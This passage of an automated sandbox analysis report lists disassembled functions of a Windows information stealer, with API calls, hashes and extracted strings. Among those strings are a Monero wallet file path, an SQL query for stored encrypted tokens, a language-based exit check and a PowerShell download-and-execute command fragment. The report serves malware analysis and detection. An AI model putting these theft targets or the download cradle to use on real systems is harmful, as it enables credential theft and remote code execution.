GetProcessHeap.KERNEL32(00000000,?), ref: 00137452
HeapFree.KERNEL32(00000000), ref: 00137459
task.LIBCPMTD ref: 00137555

Strings

Password, xrefs: 00137401

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: bb770ac6e5db9d2f6d24b84d644f3c1403fa5de7d832148918a133d6019cd086
Instruction ID: daba80701830ba63580a8eb11815c60047e14465e48efbe206c55e1ca6a1eb6c
Opcode Fuzzy Hash: bb770ac6e5db9d2f6d24b84d644f3c1403fa5de7d832148918a133d6019cd086
Instruction Fuzzy Hash: 08611EB590425C9BDB24DB50DD45BDAB7B8BF58300F0081E9F689A6181DB706FC9CF91

Function 0013BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

lstrlen.KERNEL32(00000000), ref: 0013BC9F

Part of subcall function 00148E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00148E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0013BCCD
lstrlen.KERNEL32(00000000), ref: 0013BDA5
lstrlen.KERNEL32(00000000), ref: 0013BDB9

Strings

AccountTokens, xrefs: 0013BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0013BBEB
AccountTokens, xrefs: 0013BB49
AccountId, xrefs: 0013BCC4

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 73931084ddf6eb40afe09223271a6be499a6fb5700d77c5963d208433fbd1600
Instruction ID: 79c97295d1cb93e254c5558e99fbba613f94379da11af006c00e692112dd7eac
Opcode Fuzzy Hash: 73931084ddf6eb40afe09223271a6be499a6fb5700d77c5963d208433fbd1600
Instruction Fuzzy Hash: 2FB16671950104ABEB14FBA0DC96EEE733CFF64305F814558F506A70A1EF346A49CB62

Function 00146770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00146774
ExitProcess.KERNEL32 ref: 001467A5
ExitProcess.KERNEL32 ref: 001467AF
ExitProcess.KERNEL32 ref: 001467B9
ExitProcess.KERNEL32 ref: 001467C3
ExitProcess.KERNEL32 ref: 001467CD

Strings

*, xrefs: 0014678C

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 55815734e8f91df5bbe8cf51da097b4f829190d1e2fd28b4192d69e18fa751e9
Instruction ID: c4beacd19761bd59e5db2820296990456b723f05e9cf09ebf85e1993366a7a52
Opcode Fuzzy Hash: 55815734e8f91df5bbe8cf51da097b4f829190d1e2fd28b4192d69e18fa751e9
Instruction Fuzzy Hash: A4F08231904249EFD3599FE0E90972C7B78FB45707F140198F61D86290D6744BC2DB97

Function 00134FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00134FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00134FD1
InternetOpenA.WININET(00150DDF,00000000,00000000,00000000,00000000), ref: 00134FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00135011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00135041
InternetCloseHandle.WININET(?), ref: 001350B9
InternetCloseHandle.WININET(?), ref: 001350C6

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: f8c78b723a87982b71414394841b540ef6bc998242966d315b2ed2a9e92246e7
Instruction ID: c8550823bd0e6ff2176ee3de7545b97ae70e0d8e0ff8f62080c86bbfc0123b8f
Opcode Fuzzy Hash: f8c78b723a87982b71414394841b540ef6bc998242966d315b2ed2a9e92246e7
Instruction Fuzzy Hash: B13116B4A40218EBDB24CF94DC85BDCB7B9EB48704F5081D8FA09A7280C7706EC58F99

Function 001483DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00148426
wsprintfA.USER32 ref: 00148459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0014847B
RegCloseKey.ADVAPI32(00000000), ref: 0014848C
RegCloseKey.ADVAPI32(00000000), ref: 00148499

Part of subcall function 0014A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0014A7E6

RegQueryValueExA.ADVAPI32(00000000,0102DD88,00000000,000F003F,?,00000400), ref: 001484EC
lstrlen.KERNEL32(?), ref: 00148501
RegQueryValueExA.ADVAPI32(00000000,0102DC80,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00150B34), ref: 00148599
RegCloseKey.ADVAPI32(00000000), ref: 00148608
RegCloseKey.ADVAPI32(00000000), ref: 0014861A

Strings

%s\%s, xrefs: 0014844D

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 02b23f9e992b3d9c760549fae5dbc2bd3da5e520700808ba43520ef2f1e35ce4
Instruction ID: 7ef4c873f79e227427aca6b568ed189a70494faa1f7bcfabbaee0ba0b9d54a21
Opcode Fuzzy Hash: 02b23f9e992b3d9c760549fae5dbc2bd3da5e520700808ba43520ef2f1e35ce4
Instruction Fuzzy Hash: 3C2119B1940218ABDB64DB54DC85FE9B7B8FB88701F00C1D8E609A6190DF716AC6CFD5

Function 00147690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001476A4
RtlAllocateHeap.NTDLL(00000000), ref: 001476AB
RegOpenKeyExA.ADVAPI32(80000002,0101BB60,00000000,00020119,00000000), ref: 001476DD
RegQueryValueExA.ADVAPI32(00000000,0102DDA0,00000000,00000000,?,000000FF), ref: 001476FE
RegCloseKey.ADVAPI32(00000000), ref: 00147708

Strings

Windows 11, xrefs: 001476BD

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 2624609dcc71c1ad718b5c04e9d5a3521c01a517ff5b3444d82d663e9e1aff4e
Instruction ID: 05538406aa1870f23388c00eb59e191066b7f00a955c5b0b760663e9f4601815
Opcode Fuzzy Hash: 2624609dcc71c1ad718b5c04e9d5a3521c01a517ff5b3444d82d663e9e1aff4e
Instruction Fuzzy Hash: B0018FB4A04204BBE711DBE0DC4DF6DB7BCEB88702F004054FA08A72D1D77099408B52

Function 00147720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00147734
RtlAllocateHeap.NTDLL(00000000), ref: 0014773B
RegOpenKeyExA.ADVAPI32(80000002,0101BB60,00000000,00020119,001476B9), ref: 0014775B
RegQueryValueExA.ADVAPI32(001476B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0014777A
RegCloseKey.ADVAPI32(001476B9), ref: 00147784

Strings

CurrentBuildNumber, xrefs: 00147771

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 79d8a6d59b58cff7a8c705df157deeb83b3126eb9f5ddfafd2af7bdeb31b339c
Instruction ID: e6799855b1d511b7347bd20f28d945189ba2ee7e65b7184a7dba7de1607b60b7
Opcode Fuzzy Hash: 79d8a6d59b58cff7a8c705df157deeb83b3126eb9f5ddfafd2af7bdeb31b339c
Instruction Fuzzy Hash: A90144B5A40308BBE711DBE4DC49FAEB7BCEB88705F004554FA09A7291D77055408B52

Function 001399C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001399EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00139A11
LocalAlloc.KERNEL32(00000040,?), ref: 00139A31
ReadFile.KERNEL32(000000FF,?,00000000,0013148F,00000000), ref: 00139A5A
LocalFree.KERNEL32(0013148F), ref: 00139A90
CloseHandle.KERNEL32(000000FF), ref: 00139A9A

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 5f707b6959b40490b07f2a7dea36bf69a565b29dfb5c51bc33a58a76edc1620e
Instruction ID: dbfbe56d834c20ffb82fc57e1924060dccb1a30ac841b4aa3903ed611d83e3d0
Opcode Fuzzy Hash: 5f707b6959b40490b07f2a7dea36bf69a565b29dfb5c51bc33a58a76edc1620e
Instruction Fuzzy Hash: A1312DB4A00209EFDB24DF94D985BAE77B9FF48341F108258E915A7290D778A981CFA1

Function 00144780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0102DF80), ref: 001447DB

Part of subcall function 00148DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00148E0B

lstrcat.KERNEL32(?,00000000), ref: 00144801
lstrcat.KERNEL32(?,?), ref: 00144820
lstrcat.KERNEL32(?,?), ref: 00144834
lstrcat.KERNEL32(?,0101AED8), ref: 00144847
lstrcat.KERNEL32(?,?), ref: 0014485B
lstrcat.KERNEL32(?,0102D318), ref: 0014486F

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 00148D90: GetFileAttributesA.KERNEL32(00000000,?,00131B54,?,?,0015564C,?,?,00150E1F), ref: 00148D9F

Part of subcall function 00144570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00144580
Part of subcall function 00144570: RtlAllocateHeap.NTDLL(00000000), ref: 00144587
Part of subcall function 00144570: wsprintfA.USER32 ref: 001445A6
Part of subcall function 00144570: FindFirstFileA.KERNEL32(?,?), ref: 001445BD

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: bfe42bd206f77bf276c83a56f881a97f8b262a017f7078863db74258f4c7503b
Instruction ID: c859e87e9977a5ca7744b53285ddf7b2ef7f4b8e6743fb23ef8370ae4f5cb1e7
Opcode Fuzzy Hash: bfe42bd206f77bf276c83a56f881a97f8b262a017f7078863db74258f4c7503b
Instruction Fuzzy Hash: 8D3172B2900218A7CB21FBB0DC85EED737CABA8704F404589B35996091EF7497C9CB96

Function 00142C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0014A740: lstrcpy.KERNEL32(00150E17,00000000), ref: 0014A788

Part of subcall function 0014A9B0: lstrlen.KERNEL32(?,010289D0,?,\Monero\wallet.keys,00150E17), ref: 0014A9C5
Part of subcall function 0014A9B0: lstrcpy.KERNEL32(00000000), ref: 0014AA04
Part of subcall function 0014A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0014AA12

Part of subcall function 0014A920: lstrcpy.KERNEL32(00000000,?), ref: 0014A972
Part of subcall function 0014A920: lstrcat.KERNEL32(00000000), ref: 0014A982

Part of subcall function 0014A8A0: lstrcpy.KERNEL32(?,00150E17), ref: 0014A905

ShellExecuteEx.SHELL32(0000003C), ref: 00142D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00142CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00142D04
<, xrefs: 00142D39
')", xrefs: 00142CB3

Memory Dump Source

Source File: 00000000.00000002.2065249327.0000000000131000.00000040.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2065233224.0000000000130000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.00000000001ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065249327.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000038E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000051C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.00000000005FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000625000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065432203.0000000000634000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065686622.0000000000635000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066036021.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066051647.00000000007D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 8e620fc38ab498b6c6babe4bcb0f2d0917dbe65299030acc29ae73e4ae77617d
Instruction ID: 18b240f3758529fa4d61049390e52162538bdb68fce786d6db6974be2eaac4e0
Opcode Fuzzy Hash: 8e620fc38ab498b6c6babe4bcb0f2d0917dbe65299030acc29ae73e4ae77617d
Instruction Fuzzy Hash: 6441DF71C902089AEB15FFA0C892BEDB774EF24305F914119F416AB1A2DF746A4ACF91

Function 00139E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00139F41

